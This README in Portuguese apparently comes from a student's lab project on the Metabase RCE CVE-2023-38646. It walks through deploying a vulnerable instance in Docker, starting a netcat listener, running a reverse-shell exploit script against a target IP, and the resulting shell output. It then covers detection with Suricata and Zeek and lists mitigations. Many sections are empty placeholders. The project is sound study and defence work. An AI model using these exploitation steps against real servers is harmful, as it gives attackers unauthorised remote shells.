
CVE-2023-38646
Este repositório documenta um projeto de pesquisa de segurança Prova de Conceito (PoC) analisando CVE-2023-38646, uma vulnerabilidade crítica de Execução Remota de Código (RCE) sem autenticação que afeta versões vulneráveis do Metabase.
O objetivo deste projeto é demonstrar o ciclo de vida completo de uma vulnerabilidade real, incluindo:
Este repositório foi projetado para demonstrar habilidades práticas em:
CVE-2023-38646 é uma vulnerabilidade crítica que afeta certas versões do Metabase, uma plataforma de business intelligence e análise de código aberto.
A vulnerabilidade permite que um atacante realize execução remota de código não autenticada explorando fraquezas no processo de configuração ou instalação da aplicação.
Detalhes principais:
A exploração bem-sucedida permite que um atacante:
Referências oficiais:
Este projeto combina tanto ferramentas ofensivas de segurança quanto ferramentas defensivas de monitoramento.
Placeholder — descreva sua configuração de laboratório
Exemplo:
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]Este diagrama ilustra o fluxo de ataque de alto nível utilizado neste projeto.
Instalação e Configuração do Docker:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Iniciação do Docker:
Uma instância vulnerável do Metabase Enterprise (v1.44.0) foi implantada usando Docker.
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
Isto expõe a interface web do Metabase na porta 3000, permitindo acesso à página de configuração.
Se o Docker já estiver em execução, execute os seguintes comandos para recomeçar:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
'Docker Setup' Placeholder
Assim que o contêiner estiver em execução, a interface do Metabase torna-se acessível através do navegador.
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
A página de configuração confirma que a instância do Metabase está ativa e pronta para configuração.
BurpSuite
Placeholder para capturas de tela ou explicação
Antes de lançar o exploit, um ouvinte Netcat é iniciado na máquina atacante para receber a conexão reverse shell.
nc -lvnp 6666
Este ouvinte aguarda conexões recebidas do servidor Metabase explorado.
Placeholder para capturas de tela ou explicação
O script de exploit é executado a partir da máquina atacante.
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
O payload executa um comando que estabelece um reverse shell de volta para a máquina atacante.
Assim que o payload é executado com sucesso, a instância vulnerável do Metabase inicia uma conexão de volta para a máquina atacante.
O ouvinte Netcat recebe a conexão, concedendo ao atacante acesso ao shell do sistema.
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
Para confirmação da conexão ao dispositivo da vítima:
whoami
Saída:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
Este projeto também demonstra como a atividade de exploração pode ser detectada usando ferramentas de monitoramento de rede.
Suricata (IDS) foi utilizado para monitorar o tráfego de rede em busca de padrões suspeitos associados ao exploit.
sudo suricata -i eth0
Placeholder: Inserir captura de tela do alerta Suricata
evidence/detection/suricata_alert.png
Para observar alertas em tempo real, os logs do Suricata foram monitorados usando:
tail -f /var/log/suricata/fast.log
Placeholder: Inserir captura de tela do log Suricata
evidence/detection/suricata_log.png
Para uma abordagem passiva, um script de notificação personalizado foi usado para gerar alertas na área de trabalho sempre que o Suricata detecta tráfego suspeito.
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
Quando o exploit foi executado, o Suricata gerou alertas indicando atividade suspeita associada à tentativa de exploração do Metabase.
Placeholder: Inserir captura de tela do log Suricata
evidence/detection/suricata_noti.png
Exemplo:
Placeholder: Inserir captura de tela do log Suricata
evidence/detection/suricata_noti.png
Além do monitoramento IDS, o Zeek foi utilizado para analisar o tráfego de rede e identificar comportamentos anômalos.
O Zeek é iniciado usando estes comandos para começar a capturar e analisar o tráfego de rede:
sudo /usr/local/zeek/bin/zeek -i eth0
Placeholder: Inserir captura de tela da iniciação do Zeek
evidence/detection/zeek.png
Inspecionando os logs de conexão, o tráfego reverse shell na porta 6666 pode ser observado.
192.168.1.136 → 192.168.1.137:6666
Placeholder: Inserir captura de tela do log Zeek
evidence/detection/zeek_log.png
Várias estratégias de mitigação podem reduzir o risco de exploração.
| Estratégia | Descrição |
|---|---|
| Gerenciamento de Patches | Atualizar o Metabase para uma versão que corrija CVE-2023-38646 |
| Firewall de Aplicação Web (ModSecurity) | Filtrar requisições HTTP maliciosas |
| Detecção de Intrusão em Host (OSSEC) | Monitorar comportamento suspeito do sistema |
| Monitoramento de Rede (Suricata & Zeek) | Detectar padrões de tráfego anormais |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
Este projeto demonstra o ciclo de vida completo de análise e reprodução de uma vulnerabilidade crítica real.
A PoC demonstra:
O objetivo deste repositório é fornecer um estudo de caso técnico ilustrando tanto práticas ofensivas quanto defensivas de cibersegurança.
Styverson Ng
Bacharel em Tecnologia da Informação
Inteligência Artificial e Sistemas Autônomos
Segurança Cibernética e Perícia Cibernética
Murdoch University